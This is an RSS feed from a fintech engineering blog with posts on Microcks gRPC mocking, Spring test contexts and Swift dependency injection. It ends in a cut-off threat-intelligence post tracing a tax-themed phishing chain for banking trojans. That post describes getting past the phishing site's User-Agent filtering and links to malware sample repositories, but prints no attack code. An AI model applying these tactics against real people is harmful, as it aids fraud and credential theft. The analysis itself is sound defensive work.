<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[bitso.engineering - Medium]]></title>
        <description><![CDATA[In Bitso, we believe in a open knowledge culture. This blog is a our way to give back to the software engineering community - Medium]]></description>
        <link>https://medium.com/bitso-engineering?source=rss----65285b9fc432---4</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>bitso.engineering - Medium</title>
            <link>https://medium.com/bitso-engineering?source=rss----65285b9fc432---4</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 19 Nov 2026 19:00:09 GMT</lastBuildDate>
        <atom:link href="https://medium.com/feed/bitso-engineering" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Isolated Local Development Environment with Microcks]]></title>
            <link>https://medium.com/bitso-engineering/isolated-local-development-environment-with-microcks-70c8ff291950?source=rss----65285b9fc432---4</link>
            <guid isPermaLink="false">https://medium.com/p/70c8ff291950</guid>
            <category><![CDATA[spring-boot]]></category>
            <category><![CDATA[microcks]]></category>
            <category><![CDATA[docker-compose]]></category>
            <category><![CDATA[grpc]]></category>
            <category><![CDATA[development-environment]]></category>
            <dc:creator><![CDATA[Caio Amaral]]></dc:creator>
            <pubDate>Mon, 20 Jan 2025 15:12:52 GMT</pubDate>
            <atom:updated>2025-01-20T15:12:52.338Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*98zDgTMuI1zjZigpf18clg.png" /></figure><p>At <a href="https://bitso.com/?utm_campaign=blog_post_camaral_microcks1&amp;utm_medium=social&amp;utm_source=medium">Bitso</a>, we build microservices that integrate through well-defined contracts. Our backend services primarily provide gRPC APIs for synchronous communication, and Kafka events for asynchronous processing. <a href="https://docs.bitso.com/bitso-api/docs/api-overview?utm_campaign=blog_post_camaral_microcks1&amp;utm_medium=social&amp;utm_source=medium">Bitso’s public API</a> exposes REST interfaces, and the backend services integrate with third-party providers, which often also use REST.</p><p>When developing systems, we encourage engineers to spin up the local environment, and execute exploratory tasks. This practice is especially important when new members join a squad, but it also eases the demonstration of features to product managers, particularly for edge cases. This same setup can be used for executing integration and load testing.</p><p>Building this local environment becomes increasingly complicated because services depend on other services and pieces of infrastructure at multiple levels. To test a single simple feature in the UI, one often needs to start up every single service and bootstrap a significant amount of fake data.</p><p>To overcome this complexity, our engineers must provide a local configuration for their services using mocks for all their dependencies. While there are multiple solutions to this, it is a challenge to find one that is feature-rich, actively maintained, and supports the multiple API protocols required by Bitso.</p><p>Lucky for us, <a href="https://microcks.io/">Microcks</a> provides exactly what we are looking for.</p><p>It is an open-source API mocking and testing tool that supports multiple API protocols such as REST, gRPC, and Kafka. It allows developers to create mock services from existing contracts in an automated fashion, simplifying local development and integration testing.</p><p>In this post, I will explain how we configure Microcks for gRPC contracts and how to integrate it seamlessly with Spring Boot applications using Docker.</p><h3>Toolset</h3><p>To understand the setup, you must have a basic knowledge of Docker, Spring Boot, and gRPC. I will not delve deeply into any of these tools, but instead, provide a proven project setup to follow in your projects.</p><p>All the code can be found at <a href="https://github.com/bitsoex/microcks-for-java-local-env">https://github.com/bitsoex/microcks-for-java-local-env</a>.</p><h3>gRPC Contract Distribution</h3><p>The gRPC contracts are distributed inside jar libraries, which we deploy in our internal Maven repository. These libraries contain only <a href="https://protobuf.dev/">protocol buffer</a> artifacts and must contain no transitive dependencies. The versioned gRPC clients are then easily generated on the service that consumes the endpoints, so we don’t need to create and maintain client libraries.</p><p>Below is a snippet of a build.gradle from a demo service. In this example, the contracts of the downstream services are inside the project, but we can easily see that one can import a version of the library from the Maven repository. Running ./gradlew build will generate both the handler for the service itself (home-screen-bff-protos) and the client stubs for the downstream dependencies (trade-service-protos and balance-service-protos).</p><pre>plugins {<br>   id &#39;com.google.protobuf&#39; version &#39;0.9.4&#39;<br>}<br><br>dependencies {<br>   protobuf project(&#39;:libs:home-screen-bff-protos&#39;)<br>   protobuf project(&#39;:libs:trade-service-protos&#39;) <br>   protobuf project(&#39;:libs:balance-service-protos&#39;)<br>}<br><br>protobuf {<br>   protoc {<br>       artifact = &#39;com.google.protobuf:protoc:4.29.1&#39;<br>   }<br>   plugins {<br>       grpc {<br>           artifact = &#39;io.grpc:protoc-gen-grpc-java:1.68.2&#39;<br>       }<br>   }<br>   generateProtoTasks {<br>       all()*.plugins {<br>           grpc {}<br>       }<br>       all().each { task -&gt;<br>           task.builtins {<br>               java {<br>                   option &#39;annotate_code&#39;<br>               }<br>           }<br>       }<br>   }<br>}<br><br>sourceSets {<br>   main {<br>       java {<br>           srcDirs &#39;build/generated/source/proto/main/java&#39;<br>           srcDirs &#39;build/generated/source/proto/main/grpc&#39;<br>       }<br>   }<br>}</pre><p>You can then instantiate the client to the trade-service using <a href="https://github.com/bitso-oss/microcks-for-java-local-env/blob/main/services/home-screen-bff/src/main/java/com/bitso/demo/ClientConfiguration.java#L14">TradeServiceV1Grpc.TradeServiceV1BlockingStub</a>, and you can implement the gRPC handler for the demo-service by inheriting from <a href="https://github.com/bitso-oss/microcks-for-java-local-env/blob/main/services/home-screen-bff/src/main/java/com/bitso/demo/DemoServiceGrpcApi.java#L16">HomeScreenBffV1Grpc.HomeScreenBffV1ImplBase</a>. You will quickly realize that in order to test the gRPC handler end to end, you will have to call the downstream services. So in the next section, I will demonstrate how to configure the mocks from the contracts.</p><h3>Automating the Mock Creation</h3><p>First, we need to create an instance of Microcks. Since we are creating an isolated local environment, we do it using docker-compose. Adding <a href="https://testcontainers.com/">TestContainers</a> inside the application is an alternative, but we prefer externalized docker-compose for two reasons;</p><ol><li>when developing Spring applications, restarting the context is a common recurrent task.</li><li>Keeping the dependencies outside the start-up saves us valuable time.</li></ol><p>microcks-uber is a distribution that contains all the necessary components to run Microcks. We configure it in docker-compose as follows:</p><pre>services:<br>  grpc-mocks:<br>    image: quay.io/microcks/microcks-uber:1.11.0<br>    ports:<br>      - &#39;9081:8080&#39; # Admin UI http://localhost:9081/<br>      - &#39;9201:9090&#39; # gRPC port</pre><p>Next, you must import the protocol buffer definition of the services. Microcks provides a <a href="https://microcks.io/documentation/guides/automation/cli/">CLI tool</a> for that, which can be called from docker-compose.</p><pre>  grpc-mocks-importer:<br>    depends_on:<br>      - grpc-mocks<br>    restart: on-failure<br>    image: quay.io/microcks/microcks-cli:0.5.6<br>    volumes:<br>      - ./services/home-screen-bff/build/extracted-protos/main:/resources/protos<br>    entrypoint: &gt;<br>      bash -c &quot;microcks-cli import &#39;/resources/protos/com/bitso/demo/trade/v1/trade_service_v1.proto:true&#39; --microcksURL=http://grpc-mocks:8080/api --insecure --keycloakClientId=foo --keycloakClientSecret=bar&quot;</pre><p>The folder build/extracted-protos is the destination of the protocol buffer definition files when you build the project because we applied the protobuf Gradle plugin.</p><p>Notice that the .proto files are followed by :true. This tells microcks-cli that this file describes the API, and not the content of the requests and responses.</p><p>Next, we need to configure the <a href="https://github.com/bitso-oss/microcks-for-java-local-env/tree/main/services/home-screen-bff/src/test/resources/microcks">mocked responses</a>. We do that using <a href="https://microcks.io/documentation/references/examples/">APIExamples</a>.</p><pre>apiVersion: mocks.microcks.io/v1alpha1<br>kind: APIExamples<br>metadata:<br> name: com.bitso.demo.trade.v1.TradeServiceV1 # the FQN of the gRPC service<br> version: v1<br>operations:<br> Quote: # the gRPC endpoint<br>   Success: # an identifier, which will be used by the dispatcher rules<br>     request: # with dispatcher rules defining the request is unnecessary<br>     response: # gRPC messages as json objects<br>       body: |-<br>         {<br>           &quot;payload&quot;: {<br>             &quot;asset&quot;: &quot;{{ request.body/payload/toAsset }}&quot;,<br>             &quot;value&quot;: &quot;{{ randomInt(1, 1000000) }}&quot;<br>           }<br>         }<br>   Failure: # a second identifier<br>     request:<br>     response:<br>       status: 9 # responding gRPC error FAILED_PRECONDITION<br>       body: { } # body is ignored</pre><p>As you can see above, there are a couple of strange template mustaches — {{ and }}. These are used to create <a href="https://microcks.io/documentation/references/templates/">dynamic mock content</a> using the request data and generated data. We then import this file using microcks-cli, appending :false instead.</p><pre>volumes:<br>      - (...)<br>      - ./services/home-screen-bff/src/test/resources/microcks:/resources/api-examples<br>    entrypoint: &gt;<br>      bash -c &quot;(...)<br>      &amp;&amp; microcks-cli import &#39;/resources/api-examples/trade-service/trade-service-api-examples.yaml:false&#39; --microcksURL=http://grpc-mocks:8080/api --insecure --keycloakClientId=foo --keycloakClientSecret=bar&quot;</pre><p>Lastly, we need to instruct Microcks on how to route different types of mocked responses, depending on the request. That’s what we earlier called dispatcher rules, and we configure that using <a href="https://microcks.io/documentation/references/metadada/">APIMetadata</a> files, which are imported appending :false as well.</p><pre>apiVersion: mocks.microcks.io/v1alpha1<br>kind: APIMetadata<br>metadata:<br> name: com.bitso.demo.trade.v1.TradeServiceV1<br> version: v1<br>operations:<br> Quote:<br>   delay: 100<br>   dispatcher: JSON_BODY<br>   dispatcherRules: |-<br>     {<br>       &quot;exp&quot;: &quot;/payload/toAsset&quot;,<br>       &quot;operator&quot;: &quot;equals&quot;,<br>       &quot;cases&quot;: {<br>         &quot;XRP&quot;: &quot;Failure&quot;,<br>         &quot;default&quot;: &quot;Success&quot;<br>       }<br>     }</pre><p>You can now call Microcks, and verify the responses.</p><pre>grpcurl --plaintext \<br>  --proto ./libs/trade-service-protos/src/main/resources/com/bitso/demo/trade/v1/trade_service_v1.proto \<br>  -d &#39;{&quot;payload&quot;: {&quot;from_asset&quot;: &quot;MXN&quot;, &quot;from_value&quot;: &quot;1234&quot;, &quot;to_asset&quot;: &quot;BTC&quot;}}&#39; \<br>  localhost:9201 com.bitso.demo.trade.v1.TradeServiceV1/Quote</pre><p>That’s it!</p><p>Add localhost:9201 as the address of the downstream services into your Spring Boot application, and you are ready to explore the features that you are implementing end to end.</p><pre>grpc:<br> client:<br>   trade-service:<br>     address: static://${TRADE_SERVICE_HOST:localhost}:${TRADE_SERVICE_GRPC_PORT:9201}<br>     negotiation-type: PLAINTEXT</pre><h3>Conclusion</h3><p>In this post, we have demonstrated how to set up a local development environment using Microcks to mock gRPC services. By leveraging Docker, Spring Boot, and Microcks, we can simplify the process of testing and developing microservices that depend on various APIs. By following the steps outlined, you can ensure a more efficient and manageable development workflow for your microservices.</p><p><em>Bitso is Latin America’s leading financial company powered by crypto, providing solutions for both </em><a href="https://bitso.com/register?utm_campaign=blog_post_camaral_microcks1&amp;utm_medium=social&amp;utm_source=medium"><em>individuals</em></a><em> and </em><a href="https://bitso.com/business?utm_campaign=blog_post_camaral_microcks1&amp;utm_medium=social&amp;utm_source=medium"><em>businesses</em></a><em>. Interested? We’re </em><a href="https://bitso.com/jobs?utm_campaign=blog_post_camaral_microcks1&amp;utm_medium=social&amp;utm_source=medium"><em>hiring</em></a><em>!</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=70c8ff291950" width="1" height="1" alt=""><hr><p><a href="https://medium.com/bitso-engineering/isolated-local-development-environment-with-microcks-70c8ff291950">Isolated Local Development Environment with Microcks</a> was originally published in <a href="https://medium.com/bitso-engineering">bitso.engineering</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Spring @DirtiesContext — false friend]]></title>
            <link>https://medium.com/bitso-engineering/spring-dirtiescontext-false-friend-de0e5b8b41cb?source=rss----65285b9fc432---4</link>
            <guid isPermaLink="false">https://medium.com/p/de0e5b8b41cb</guid>
            <category><![CDATA[integration-testing]]></category>
            <category><![CDATA[testing]]></category>
            <category><![CDATA[spring]]></category>
            <category><![CDATA[good-practices]]></category>
            <dc:creator><![CDATA[Rafał Kosiński]]></dc:creator>
            <pubDate>Wed, 27 Nov 2024 14:55:11 GMT</pubDate>
            <atom:updated>2024-11-27T14:55:11.059Z</atom:updated>
            <content:encoded><![CDATA[<h3>Spring @DirtiesContext — false friend</h3><p>@DirtiesContext is an annotation that, at first glance, seems like a time-saver for developing integration tests. But what happens when there’s an issue with the Spring context while running tests, or when your test disrupts others by interfering with the Spring context? It’s tempting to simply apply @DirtiesContext and watch everything work like magic, with tests passing smoothly. But is it truly a solution?</p><h3>How Spring context works in tests</h3><p>When your application runs locally or on a Kubernetes cluster in production mode, there is typically just one Spring context per application instance. However, that’s not the case for integration tests. In tests, multiple application contexts can exist. Why is that?</p><p>You can define your own context using @ContextConfiguration, and there can be multiple such definitions. Additionally, using different Spring profiles in your tests can increase the number of contexts. Furthermore, annotations like @MockBean or @SpringBean—used to mock beans—can also trigger the creation of new contexts.</p><p>As a result, it’s common to have multiple Spring contexts in your tests. Keep in mind that creating these contexts can be time-consuming, often accounting for the majority of the execution time for integration tests.</p><p>The size of the Spring context cache is configurable. You can adjust it using the spring.test.context.cache.maxSize property, with a default value of 32.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FlHc7MH7djWbqfpFon81uA.png" /><figcaption>Spring context caching</figcaption></figure><h3>When @DirtiesContext is used</h3><p>@DirtiesContext is used to close and remove the Spring context before or after a test. By default, this annotation destroys the context after test execution, preventing it from being reused by other tests. You can apply this annotation at both the class and method levels.</p><p>@DirtiesContext is typically used when something goes wrong with the Spring context. This may happen if your test modifies the context in a way that causes other tests to fail or if other tests alter the context state, leading to failures in your tests. As mentioned earlier, the context is reused to speed up test execution, so one test can inadvertently affect another by modifying the shared context.</p><p>It may be tempting to use @DirtiesContext when tests behave unpredictably. For example, consider an in-memory cache bean managed by Spring. One test modifies the cache but fails to clean it up afterward. A subsequent test expecting an empty cache encounters leftover data and fails. What can you do in this scenario? You realize the Spring context is corrupted. Here are your options:</p><ol><li><strong>Identify and fix the test that corrupts the context.</strong><br>Result: The context is restored to a proper state and can be reused by other tests.</li><li><strong>Annotate the test that corrupts the context with </strong>@DirtiesContext<strong>.</strong><br>Result: The problematic test still corrupts the context, but it won’t affect others, as its context is destroyed afterward.</li><li><strong>Use </strong>@DirtiesContext(classMode = DirtiesContext.ClassMode.BEFORE_CLASS)<strong> to get a fresh Spring context for your test.</strong><br>Result: The test that corrupts the context remains unchanged but your test runs successfully. However, other developers may follow suit, recreating the context for their tests, significantly slowing down test execution.</li></ol><p><strong>What is the easiest solution?</strong> The third option.<br><strong>What is the proper solution?</strong> The first option.</p><p>Here’s another example — this time, configuration-related. This scenario occurred in my team. In one of our Java services, we use Postgres to store order-related data. For integration tests, we rely on Testcontainers to provide Postgres containers. These containers have a connection limit of 100. At some point, tests began failing with the following exception:</p><p>Caused by: java.sql.SQLNonTransientConnectionException: Too many connections</p><p>The connection limit in the configuration was well below 100. Annotating tests that used database connections with @DirtiesContext allowed them to pass, but this significantly increased execution time. For each new context, execution time increased by 2-3 seconds. There were about 30 more contexts created. In general, the effect of using @DirtiesContext becomes more severe with the increase in the context size and the number of integration tests affected by the annotation.</p><p>The root issue was that the connection limit mentioned above was applied to a single application context. We had up to 32 cached contexts (the default value), and with the maximum number of connections configured at 10, this resulted in a theoretical total of 320 connections (32 contexts × 10 connections). Since @DirtiesContext destroyed the context after each test, connections were released immediately, which resolved the issue. However, it required recreating the contexts multiple times, causing a noticeable slowdown in test execution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3pAvJ3bux1lK_HKQHjVdkg.png" /><figcaption>DB configuration issue</figcaption></figure><p>We found a resolution for the issue. We reduced the maximum number of database connections to 3. With the default context cache size of 32, this configuration allowed tests to use up to 96 connections (3 connections × 32 cached contexts). This adjustment enabled us to reuse cached contexts while avoiding the “too many connections” error. As a result, tests started passing with improved execution times.</p><h3>Summary</h3><p>It’s a quick fix to resolve test issues by resetting the Spring context, but overusing it can slow down test execution dramatically. Instead of using @DirtiesContext, focus on identifying and fixing the tests or configurations that are breaking the Spring context. It’s the right way to handle it.</p><p>Spring reuses contexts to speed up integration tests, but creating too many or mismanaging them can waste time. Pay attention to how your tests impact the context and remember about cleanups.</p><p>The goal is to keep tests running smoothly and efficiently while addressing problems at their source instead of just papering over them.</p><h3>Sources</h3><ul><li><a href="https://docs.spring.io/spring-framework/reference/testing/testcontext-framework/ctx-management/caching.html">Context Caching :: Spring Framework</a></li><li><a href="https://docs.spring.io/spring-framework/reference/testing/annotations/integration-spring/annotation-mockitobean.html">@MockitoBean and @MockitoSpyBean :: Spring Framework</a></li><li><a href="https://www.baeldung.com/spring-boot-testing-pitfalls">Pitfalls on Testing with Spring Boot | Baeldung</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=de0e5b8b41cb" width="1" height="1" alt=""><hr><p><a href="https://medium.com/bitso-engineering/spring-dirtiescontext-false-friend-de0e5b8b41cb">Spring @DirtiesContext — false friend</a> was originally published in <a href="https://medium.com/bitso-engineering">bitso.engineering</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A gentle introduction to dependency injection in Swift]]></title>
            <link>https://medium.com/bitso-engineering/a-gentle-introduction-to-dependency-injection-in-swift-d0a2e04d2a1d?source=rss----65285b9fc432---4</link>
            <guid isPermaLink="false">https://medium.com/p/d0a2e04d2a1d</guid>
            <category><![CDATA[dependency-injection]]></category>
            <category><![CDATA[swift]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[ios]]></category>
            <dc:creator><![CDATA[Vitor Ferraz Varela]]></dc:creator>
            <pubDate>Mon, 08 Jul 2024 12:44:26 GMT</pubDate>
            <atom:updated>2024-07-08T12:44:25.967Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rq1CTs2jb_VlCMw9i1A3vA.jpeg" /></figure><p>Dependency Injection is a design pattern in software development where an object receives its dependencies from external sources. This approach facilitates code reuse, allows for the insertion of mock data, and simplifies testing.</p><p>Swift offers numerous solutions for implementing dependency injection, each with its own advantages and drawbacks. However, one thing is for sure: if you are dealing with a huge class to store all your data or multiple singletons, it’s probably time to rethink how you handle your dependencies.</p><p>Today, we will discuss a possible solution to help you get started. As a disclaimer, the solution here may not fit all scenarios, and it’s important to remember that the Swift community has created many excellent solutions to this problem. Feel free to choose the one that best suits your needs.</p><h3>Starting with the basics</h3><p>For our solution, we will use something called a Dependency Container, which stores data using a key/value pair dictionary. Most dependency injection solutions use a very similar approach to provide access to the dependencies.</p><p>We’ll begin with a simple basic structure and then refactor it to use modern Swift features in a more scalable way.</p><p>For instance, let’s start by initializing a view model with a network provider as a dependency.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/3d8d4c653b26b15cc05b0140feeb5262/href">https://medium.com/media/3d8d4c653b26b15cc05b0140feeb5262/href</a></iframe><p>The issue we might notice is what if we have more dependencies, such as Analytics, a repository, or another A/B testing provider?</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/e3e69efbc477e8a07e102b3fb9fe360d/href">https://medium.com/media/e3e69efbc477e8a07e102b3fb9fe360d/href</a></iframe><p>We start to notice that this can become complicated very quickly. Perhaps we could improve the solution by using a “<strong>type alias</strong>” and nesting our protocols.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/72bf870e60fe64d5c1ff7b80adcd136a/href">https://medium.com/media/72bf870e60fe64d5c1ff7b80adcd136a/href</a></iframe><p>Alright, that’s a bit better. Now, let’s create our Dependency Container and see how we can use it.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/ca850027d88a7371f5a49db41b2527fc/href">https://medium.com/media/ca850027d88a7371f5a49db41b2527fc/href</a></iframe><p>This is one of the most basic solutions for injecting our dependencies into our view model, but as you may have noticed, it is very problematic.</p><h3>Some challenges and pitfalls</h3><p>Let’s dig into some of the issues with this approach.</p><p>Firstly, it requires a structure that encourages creating a lot of boilerplate code. You need to create numerous protocol providers to expose your dependencies.</p><p>All objects that need some dependency must be created inside the Dependency Container, which implements all providers. This becomes a problematic pattern because it hides your object dependencies (e.g., <strong>ViewModel(dependencies: self)</strong>) and encourages you to add their creation inside the Dependency Container.</p><p>So if you have a ViewModel, a coordinator, or a repository with dependencies, their creation will likely be inside the Dependency Container.</p><p>As a result, the Dependency Container will be responsible for storing all dependencies and managing the creation of most objects that use those dependencies.</p><p>Lastly, testing becomes cumbersome. Since there is no way to swap dependencies in the Dependency Container, you have to create another implementation that provides those dependencies or, even worse, all the dependencies specified in the <strong>&quot;type alias&quot;</strong>. Consequently, your view model will likely have a <strong>ViewModelDependencyContainerMock</strong> that implements all protocols, and you’ll need similar mocks for your coordinator, repository, or any other class that uses protocol aggregation via the &quot;typealias&quot;.</p><h3>Refactoring time</h3><p>Alright, let’s start refactoring our Dependency Container. We’ll begin by adding a way to store our dependencies using a dictionary. We’ll also implement a method to register new dependencies and a way to resolve those dependencies whenever we need them.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/29c91a6410d1104026c985dea283afb6/href">https://medium.com/media/29c91a6410d1104026c985dea283afb6/href</a></iframe><p>Our dictionary will use an <a href="https://developer.apple.com/documentation/swift/objectidentifier">ObjectIdentifier</a> as the key, which is a unique identifier for a class instance, which will correspond to our protocol type. The value in the dictionary will be a closure that returns any and it will be responsible for creating our instances.</p><p>We’ve also added a dispatch queue class, which is used for managing the execution of tasks that can run in parallel. This is particularly useful in scenarios where you have multiple independent threads that can read dependencies concurrently, but we need to limit the scope when writing to those dependencies.</p><p>That’s why, when registering, we use the barrier flag dependencyQueue.sync(flags: .barrier). Providing a useful way for managing thread-safe access to shared resources, particularly for write operations. However, there is no issue when accessing the resources, so there’s no need to add the barrier flag when resolving the dependency.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/212061cc184d5876d6133769bfa721f8/href">https://medium.com/media/212061cc184d5876d6133769bfa721f8/href</a></iframe><p>With that refactor, we’ve provided a solution to most of our problems, offering a way to register different types of dependencies that we can easily swap for testing purposes, and a method to resolve them. Our dependency container is becoming more robust, but there is still room for improvement.</p><p>However, if we forget to register any dependency, it will return a <strong>fatal error. </strong>This is expected since you should handle registration for all necessary cases.</p><h3><strong>Leveraging new Swift features</strong></h3><p>We still need to manually call the resolver for each dependency, and that involves some repetitive work.</p><p>A good way to solve the repetition is to make use of <a href="https://docs.swift.org/swift-book/documentation/the-swift-programming-language/properties/"><strong>@propertyWrappers</strong></a>. With that approach, we can easily declare dependencies similar to what SwiftUI does with @<a href="https://developer.apple.com/documentation/swiftui/environmentobject">EnvironmentObject</a>.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/ed9c5de5640092e519c3a915805b7889/href">https://medium.com/media/ed9c5de5640092e519c3a915805b7889/href</a></iframe><p>Don’t forget to call the registration method in your app’s root, or in the Scene or AppDelegate.</p><p>After our refactor in the Dependency Container, your tests will be easier to write and manage.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/def12953dac611f9f8e5a4ddc9832398/href">https://medium.com/media/def12953dac611f9f8e5a4ddc9832398/href</a></iframe><p>Something we could improve is to provide a way to access all available dependencies. A nice way to provide that is to implement a keyPath and subscript for easy access.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/45550af3163f662a391c26b260e39a99/href">https://medium.com/media/45550af3163f662a391c26b260e39a99/href</a></iframe><p>This structure primarily acts as a dependency resolver, enabling us to reference dependencies using the key path accessor, as shown in the example: @Dependency(\.networkProvider).</p><p>We use a computed property to ensure that we reference the same dependency everywhere. Updating the dependency directly through the static subscript <strong>DependencyContainer</strong> or by using the property wrapper&#39;s <strong>wrapped value</strong> which results in the same source being updated. As a bonus, you have access to all dependencies that were registered.</p><h3>Final thoughts</h3><p>Wrapping up, this is one possible approach for dealing with dependency injection in Swift using a container-based structure. It’s important to note that the solution may not fit all cases but it is a good starting point.</p><p>Be mindful of what you’re adding to the container to prevent a scenario where you could end up throwing everything inside just for the sake of convenience.</p><p>In larger projects, you may need to consider even more complex cases when creating your own Dependency Container. You could also choose a more robust solution from the community, such as <a href="https://github.com/hmlongco/Factory">Factory</a>, <a href="https://github.com/rockbruno/RouterService">RouterService</a>, or <a href="https://github.com/pointfreeco/swift-dependencies">dependencies</a> from PointFree. These solutions offer more comprehensive tools and patterns that can better handle the complexities of large-scale projects.</p><p>I hope you’ve enjoyed reading this article. You can find me on<strong> </strong><a href="https://br.linkedin.com/in/vitor-ferraz-ba143466">Linkedin</a> or <a href="https://www.instagram.com/vitorferrazv/">Instagram</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d0a2e04d2a1d" width="1" height="1" alt=""><hr><p><a href="https://medium.com/bitso-engineering/a-gentle-introduction-to-dependency-injection-in-swift-d0a2e04d2a1d">A gentle introduction to dependency injection in Swift</a> was originally published in <a href="https://medium.com/bitso-engineering">bitso.engineering</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Malware & Taxes]]></title>
            <link>https://medium.com/bitso-engineering/malware-taxes-529ba082a33e?source=rss----65285b9fc432---4</link>
            <guid isPermaLink="false">https://medium.com/p/529ba082a33e</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[banking-technology]]></category>
            <category><![CDATA[fintech]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <dc:creator><![CDATA[Mauro Eldritch]]></dc:creator>
            <pubDate>Thu, 07 Mar 2024 15:43:48 GMT</pubDate>
            <atom:updated>2024-03-07T15:43:48.412Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Mauro Eldritch, Quetzal Team — 2024</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QyZGVmPYrvzuYLKrMlJYGg.jpeg" /></figure><h3><strong>A tale of Cyber Bank Heisters</strong></h3><p>The banking trojans scene is particularly crowded with numerous organized actors and well-known malware families, including <a href="https://bazaar.abuse.ch/browse.php?search=tag:janeleiro">Janeleiro</a>, <a href="https://vx-underground.org/Samples/Families/Grandoreiro/Samples">Grandoreiro</a>, <a href="https://vx-underground.org/Samples/Families/MekotioBanker">Mekotio</a>, and <a href="https://bazaar.abuse.ch/browse.php?search=tag:casbaneiro">Casbaneiro</a>, among others. Once a victim is infected with any of these trojans, the malware patiently waits for the user to visit specific banking or fintech websites, at which point it freezes the browser and displays a fake overlay. This overlay typically requests sensitive information from the user, such as credentials or MFA codes, or may even execute actions on behalf of the attacker. The distribution tactics of these trojans have been known for a long time and rarely vary. Their developers often distribute samples via phishing emails, sometimes casting a wide net and other times targeting specific individuals. These emails often masquerade as official correspondence related to tax or compliance matters, and occasionally attempt to impersonate government or tax agencies themselves. This was the exact case that targeted us recently, and we are not the kind to pass on an opportunity to reverse malware.</p><h3><strong>Malware and Taxes</strong></h3><p>In life, there are two things you won’t be able to avoid: d̶e̶a̶t̶h̶ malware, and taxes. Sometimes, these two come bundled together. It all started when a suspicious email with a tax-related subject arrived from a seemingly official email address, automatically flagged by our anti-spam filter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*liEh0YTCqUv97c2Lwl29HA.png" /></figure><p>Why would an “official” email with an important-looking subject like “Important: Electronic Fiscal Invoice CFDI […] Verification” end up in the spam folder, alongside unsolicited vendors, romance scammers, and foreign princes searching for their next of kin? Well, let’s give it a closer inspection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WPyt2t_FvAORnyf0E3CaVg.png" /></figure><p>Now, that may be the reason: the original sender is not “gob.mx” but rather someone else’s website (either an attacker’s or a third party that got compromised). Let’s dive deeper into the email contents.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kk-TQybF3G4ibuKKHEL-HA.png" /></figure><p>In fairly good Spanish (except for the PDF line, which is clearly broken and I will attempt to translate literally), the message body reads: “You have generated an electronic receipt using the new Electronic Invoice system. Attached, you can download an XML file which is electronically signed and authorized by the PAC. Additionally, its graphical representation in PDF format.”. Then, a couple of links — all pointing to the same URL — are provided. Let’s explore them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ph2TW3fb-bbJa0cTYeKBtw.png" /></figure><p>The website says: “The content is not available on mobile devices. Please access it on a COMPUTER.” Well, I’m on a computer already, so perhaps it’s expecting a specific <em>User-Agent</em> (web browser identification). After changing the <em>User-Agent </em>header I finally did some progress: the message was no longer visible as I was automatically being redirected to Google… But I’m not one to give up easily on free malware samples, so I decided to use <a href="https://portswigger.net/burp">Burp Suite</a> to simulate the website interactions step by step and figure out why I’m unable to access it.</p><p>I managed to identify a redirection to a file named “<em>close.html</em>”. A closer inspection reveals a rather simple but effective trick: a JavaScript redirection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SSkEaztTYGit0iRE7SDd5w.png" /></figure><p>A few moments later, after changing my VPN node and the<em> User-Agent </em>header once again to simulate Firefox on Windows, I was able to proceed with the infection chain. The next steps led me to… Dropbox. It was quite 